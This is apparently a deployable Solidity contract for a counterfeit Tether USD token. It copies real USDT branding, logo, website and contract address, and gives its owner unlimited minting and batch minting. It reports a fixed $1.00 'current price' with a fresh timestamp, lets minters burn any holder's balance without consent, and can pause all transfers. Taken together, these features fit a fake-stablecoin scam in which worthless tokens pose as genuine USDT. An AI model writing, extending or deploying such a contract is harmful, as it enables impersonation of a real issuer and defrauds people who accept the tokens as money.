Tether USD (USDT)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

/**
 * @title USDT Extension - Complete Implementation
 * @dev 1 Billion initial supply, fully functional USDT extension
 */

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract USDT is IERC20 {
    
    // ERC20 Storage
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 private _totalSupply;
    
    // Token Metadata
    string private constant _name = "Tether USD";
    string private constant _symbol = "USDT";
    uint8 private constant _decimals = 6;
    
    // Branding
    string private constant _logoURI = "https://coin-images.coingecko.com/coins/images/325/large/Tether.png";
    string private constant _description = "Tether USD (USDT) is a stablecoin pegged to the US Dollar";
    string private constant _website = "https://tether.to";
    
    // Price
    int256 public constant PRICE = 100000000; // $1.00 with 8 decimals
    
    // Access Control
    address public owner;
    mapping(address => bool) public minters;
    
    // Supply Tracking
    uint256 public initialSupply;
    uint256 public additionalSupply;
    
    // Settings
    bool public paused = false;
    string public logoOverride;
    
    // Original USDT Reference
    address public constant ORIGINAL_USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    
    // Events
    event SupplyExpanded(address indexed to, uint256 amount);
    event MinterAdded(address indexed minter);
    event MinterRemoved(address indexed minter);
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }
    
    modifier onlyMinter() {
        require(minters[msg.sender] || msg.sender == owner, "Only minter");
        _;
    }
    
    constructor(uint256 _initialSupply) {
        owner = msg.sender;
        
        uint256 supply = _initialSupply * 10**6; // 6 decimals
        _totalSupply = supply;
        _balances[msg.sender] = supply;
        initialSupply = supply;
        
        emit Transfer(address(0), msg.sender, supply);
    }
    
    // ============ IERC20 IMPLEMENTATION ============
    
    function name() public pure returns (string memory) {
        return _name;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address to, uint256 amount) public override returns (bool) {
        require(!paused, "Paused");
        _transfer(msg.sender, to, amount);
        return true;
    }
    
    function allowance(address tokenOwner, address spender) public view override returns (uint256) {
        return _allowances[tokenOwner][spender];
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        require(!paused, "Paused");
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    // ============ BRANDING ============
    
    function logoURI() public view returns (string memory) {
        if (bytes(logoOverride).length > 0) {
            return logoOverride;
        }
        return _logoURI;
    }
    
    function description() public pure returns (string memory) {
        return _description;
    }
    
    function website() public pure returns (string memory) {
        return _website;
    }
    
    // ============ MINTING ============
    
    function mint(address to, uint256 amount) external onlyMinter {
        require(to != address(0), "Zero address");
        
        _totalSupply += amount;
        _balances[to] += amount;
        additionalSupply += amount;
        
        emit Transfer(address(0), to, amount);
        emit SupplyExpanded(to, amount);
    }
    
    function mintUSDT(address to, uint256 usdtAmount) external onlyMinter {
        require(to != address(0), "Zero address");
        
        uint256 amount = usdtAmount * 10**6;
        
        _totalSupply += amount;
        _balances[to] += amount;
        additionalSupply += amount;
        
        emit Transfer(address(0), to, amount);
        emit SupplyExpanded(to, amount);
    }
    
    function batchMintUSDT(address[] calldata recipients, uint256[] calldata amounts) external onlyMinter {
        require(recipients.length == amounts.length, "Length mismatch");
        
        for(uint i = 0; i < recipients.length; i++) {
            require(recipients[i] != address(0), "Zero address");
            
            uint256 amount = amounts[i] * 10**6;
            
            _totalSupply += amount;
            _balances[recipients[i]] += amount;
            additionalSupply += amount;
            
            emit Transfer(address(0), recipients[i], amount);
            emit SupplyExpanded(recipients[i], amount);
        }
    }
    
    function burn(address from, uint256 amount) external onlyMinter {
        require(_balances[from] >= amount, "Insufficient balance");
        
        _balances[from] -= amount;
        _totalSupply -= amount;
        
        if(amount <= additionalSupply) {
            additionalSupply -= amount;
        }
        
        emit Transfer(from, address(0), amount);
    }
    
    // ============ PRICE ============
    
    function getCurrentPrice() external view returns (int256 currentPrice, uint256 updatedAt) {
        return (PRICE, block.timestamp);
    }
    
    function getUSDPrice() external pure returns (uint256) {
        return uint256(PRICE);
    }
    
    // ============ ACCESS CONTROL ============
    
    function addMinter(address minter) external onlyOwner {
        require(minter != address(0), "Zero address");
        minters[minter] = true;
        emit MinterAdded(minter);
    }
    
    function removeMinter(address minter) external onlyOwner {
        minters[minter] = false;
        emit MinterRemoved(minter);
    }
    
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "Zero address");
        owner = newOwner;
    }
    
    function setPaused(bool _paused) external onlyOwner {
        paused = _paused;
    }
    
    function setCustomLogo(string calldata newLogoURI) external onlyOwner {
        logoOverride = newLogoURI;
    }
    
    // ============ INTERNAL FUNCTIONS ============
    
    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "From zero address");
        require(to != address(0), "To zero address");
        require(_balances[from] >= amount, "Insufficient balance");
        
        _balances[from] -= amount;
        _balances[to] += amount;
        
        emit Transfer(from, to, amount);
    }
    
    function _approve(address tokenOwner, address spender, uint256 amount) internal {
        require(tokenOwner != address(0), "Approve from zero");
        require(spender != address(0), "Approve to zero");
        
        _allowances[tokenOwner][spender] = amount;
        emit Approval(tokenOwner, spender, amount);
    }
    
    function _spendAllowance(address tokenOwner, address spender, uint256 amount) internal {
        uint256 currentAllowance = _allowances[tokenOwner][spender];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "Insufficient allowance");
            _approve(tokenOwner, spender, currentAllowance - amount);
        }
    }
}